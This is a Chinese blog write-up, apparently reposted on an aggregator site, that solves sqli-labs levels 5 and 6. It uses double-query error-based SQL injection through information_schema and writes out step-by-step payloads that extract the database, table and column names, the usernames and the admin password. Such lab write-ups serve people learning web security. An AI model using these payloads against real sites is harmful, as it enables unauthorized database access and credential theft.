zoukankan      html  css  js  c++  java
  • sqli注入--利用information_schema配合双查询报错注入

    本文以sqli-labs第五第六关为例,详细原理见我上一篇文章
    sqli-labs资源在这:https://github.com/Audi-1/sqli-labs

    sqli-labs 5、6双查询报错注入通关


    这篇为了代码行语法高亮好看,就把payload中sql语句之前的内容省去了,复制使用时记得在payload前面加上?id=-1'

    第六关闭合方式是双引号,所以将payload的单引号改成双引号直接使用即可。

    这里的思路,利用双查询的报错提示和information_schema库获得数据库信息,思路可见目录。

    好,进入正文~


    0x01 获取目标库名


    报错获得当前的数据库名:

    1547789519309

    payload:

    union select 1,count(*),
    concat((select database()),"==",floor(rand()*2)) as a 
    from information_schema.tables where table_schema='security' group by a --+
    

    获得当前数据库名为security

    1547789610011

    0x02 获取库中表的数量


    information_schema库中有一张tables表,含有数据库所有的表信息,这个表里有一个列table_schema,内容为表所属的数据库,利用这两个属性可以获得security库中的表名信息:

    1547789117797

    payload:

    union select 1,count(*),concat((select count(table_name) from information_schema.tables),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
    

    1547789003506

    可知道这个数据库有四个表

    0x03 获取库中表名


    这里本来想在子查询中利用group_concat函数将几个表名直接连接在一起输出的,payload如下,试了没用,不能触发报错,cmd里直接用数据库跑也不行,可以查询出结果,但是不会报错,具体原因不了解 估计是group_concat()函数的原因

    ## 子查询中利用group_concat()函数,失败
    union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),"==",floor(rand()*2))as a from information_schema.schemata group by a --+
    

    所以还是用limit函数,让查询结果每次一行的显示,尽管比较麻烦,但目前只能这样了,第一个表:

    1547790919677

    union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),"==",floor(rand()*2))as a from information_schema.schemata group by a --+
    

    1547790973959

    先爆出第一个表名为emails

    然后改变limit函数的参数,依次为limt 1,1limt 2,1limt 3,1,将后面3个表名爆出来

    1547791076181

    最终找到我们需要的表,users,从表名就可以知道其中含有用户信息。

    0x04 获取目标表中的列数


    和上面的思路一样,获取users表中的列数,然后再进一步获取每一列的列名

    这里利用information_schema中的columns表,这个表记录了所有的数据库列信息,可以获取users表的列数

    先构造获得users表列数和列名的sql语句如下

    1547792856819

    1547792875846

    所以查users表列数的pyload如下:

    union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
    

    爆出users表中有3列内容

    1547793037833

    0x05 获取目标表的列名


    然后通过limit函数将列名逐一爆出来,payload如下,改变limit的变量即可:

    union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
    

    1547793211814

    第一列的列名是id:

    1547793245550

    继续爆出剩下的两个列名:

    1547796189880

    0x06 从列中获取用户名


    知道username和password两个列名后,就可以用来获得用户名了,这里我们已经获得了足够的信息,所以可以不用借助information_schema库了,大大的缩短了payload长度:

    union select 1,count(*),concat((select username from users limit 0,1),"==",floor(rand()*2)) as a from user group by a --+
    

    获得第一个用户名为Dumb

    1547797030848

    1547797049202

    改变limit参数,获得全部的用户名,这里省略获取过程,直接进入找密码部分。

    0x07 获取对应的用户密码


    在上一步的查询过程中,发现有一个用户名为admin,现在爆出admin用户的密码

    1547797233542

    爆出admin的密码就是admin

    1547791866754

    OK,完成本次闯关!

    0x08 过关小结


    这一关使用我这个方法有些迂回,希望写的能让大家看懂,这个方式比较多的依赖information_schema库的应用,所有有一定局限性,但是思路还是挺不错的。

    其实可以用ASCII码猜解或者延时注入的方法,同时借助burpsuite的话比这个方法更加省力,但是之前学习了双查询注入,也为了巩固,所以用来练手,恰好也发现了这种注入方式中子查询若使用group_concat()函数无法触发报错,同时也加固了对information_schema表的了解,也算是有了很多成长。


    最后,感谢你的观看,如果觉得文中有什么写的不对的地方可以私信或者评论留言,我会仔细的查看,一起进步,一起成长~

  • 相关阅读:
    C#中ref和out的原理
    C#托管堆和垃圾回收(GC)
    C#类成员初始化顺序
    HTTP认证之摘要认证——Digest(二)
    HTTP认证之摘要认证——Digest(一)
    设计模式之建造者模式——Builder
    Shader专题:卡通着色(一)控制颜色的艺术
    小班同学学习经历分享(一)游戏程序员成长札记
    UniRx精讲(二):独立的 Update &UniRx 的基本语法格式
    UniRx精讲(一):UniRx简介&定时功能实现
  • 原文地址:https://www.cnblogs.com/laoxiajiadeyun/p/10288434.html
Copyright © 2011-2022 走看看